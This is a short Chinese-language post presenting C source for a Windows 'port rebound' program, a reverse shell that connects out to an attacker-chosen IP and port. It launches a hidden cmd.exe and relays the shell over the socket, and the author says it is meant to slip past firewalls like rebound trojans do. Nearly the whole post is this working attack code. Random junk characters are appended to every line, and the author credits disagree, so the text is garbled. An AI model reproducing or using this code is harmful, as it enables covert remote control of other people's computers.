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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 "B>8on8O  
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/* ============================== aNBwb9X  
Rebound port in Windows NT B=~uJUr  
By wind,2006/7 =b, m3 1  
===============================*/ 0g9y4z{H  
#include Xk!wT2;  
#include \-SC-c  
%C_c%3d  
#pragma comment(lib,"wsock32.lib") 9/_~YY=/h  
Hb/8X !=  
void OutputShell(); nk;^sq4M:  
SOCKET sClient; a$\ Bt_  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; H@b4(6  
nok-![  
void main(int argc,char **argv) Xck`"RU<xA  
{ 9h/Hy aN  
WSADATA stWsaData; ~E/=nv$  
int nRet; v#EFklOP  
SOCKADDR_IN stSaiClient,stSaiServer; [8Fn0A  
?aI. Z+#  
if(argc != 3) M:dH>  
{ !f]kTs]j~  
printf("Useage:\n\rRebound DestIP DestPort\n"); BS ]:w(}[  
return; T;]Ob3(BpW  
} AiB]A}  
*Nfot v  
WSAStartup(MAKEWORD(2,2),&stWsaData); =WHI/|&  
f[ KI T  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); o/ 7[ G  
{$#88Qa\-  
stSaiClient.sin_family = AF_INET; =K_&@|f+B  
stSaiClient.sin_port = htons(0); |*DkriYY  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); lF t^dl^  
?C- ju8]|  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) U1(cBY  
{ v!$:t<-5N  
printf("Bind Socket Failed!\n"); mT #A?C2  
return; E]}_hZU  
} `F]  
pXvys] @  
stSaiServer.sin_family = AF_INET; nSRNd A  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); |o+*Iy)  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); b 0qA  
[H{@<*  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) mZM,"Wq,  
{ CI-1>= "OE  
printf("Connect Error!"); ahQY-%>  
return; G4rzx%W?  
} +prUau*  
OutputShell(); ns *:mGh  
} #SG.`J<%  
dS\!tdHP-Q  
void OutputShell() -2(?O`tZ  
{ IMBjI#\  
char szBuff[1024]; R1/c@HQw?  
SECURITY_ATTRIBUTES stSecurityAttributes; =XK}eQ_d  
OSVERSIONINFO stOsversionInfo; i"x V=.  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ,FXc_BCx4  
STARTUPINFO stStartupInfo; !zvOCAb,  
char *szShell; K|l}+:k  
PROCESS_INFORMATION stProcessInformation; *[m:4\  
unsigned long lBytesRead; y/:%S2za>  
I9Uj3cL\  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); G&@d J &B  
QBGjH^kL  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); I~^Xw7  
stSecurityAttributes.lpSecurityDescriptor = 0; !XM<`H/  
stSecurityAttributes.bInheritHandle = TRUE; uE<8L(*B  
^B%c3U$o  
g"k4Z  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 2r ;h">  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); a 9{:ot8,  
_aBy>=2c$  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); u! &T}i:  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5423Ky<  
stStartupInfo.wShowWindow = SW_HIDE;  wlsx|  
stStartupInfo.hStdInput = hReadPipe; ;^u,[d  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; _C (fz CK  
{}rnn$HQe  
GetVersionEx(&stOsversionInfo); 5Zd oem  
FJ4,|x3v[x  
switch(stOsversionInfo.dwPlatformId) .6LRg  
{ 5 ba e-  
case 1: >MSK.SNh  
szShell = "command.com"; >*opEI+  
break; Qc)i?Z'6  
default: Dy>6L79G  
szShell = "cmd.exe"; Jm#p!G+  
break; ck%YEMs  
} Vo+.s#wN`h  
9_nbMs   
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); '=%`;?j  
vm{8x o  
send(sClient,szMsg,77,0); +2}cR66%  
while(1) [ZC\8tP`V  
{ %P M#gnt@  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 9#m3<oSJ  
if(lBytesRead) KO%$  
{ W$2 \GPJt  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 2K{'F1"RM  
send(sClient,szBuff,lBytesRead,0); _x1W\#  
} /CMgWGI  
else 09 trFj$L  
{  @;$cX2  
lBytesRead=recv(sClient,szBuff,1024,0); :CK`v6 Qs  
if(lBytesRead<=0) break; D B65vM  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ,|3_@tUl  
} ?o$ t{AQ  
} OzD\* ,{7  
W h)  
return; U\B9Ab  
}
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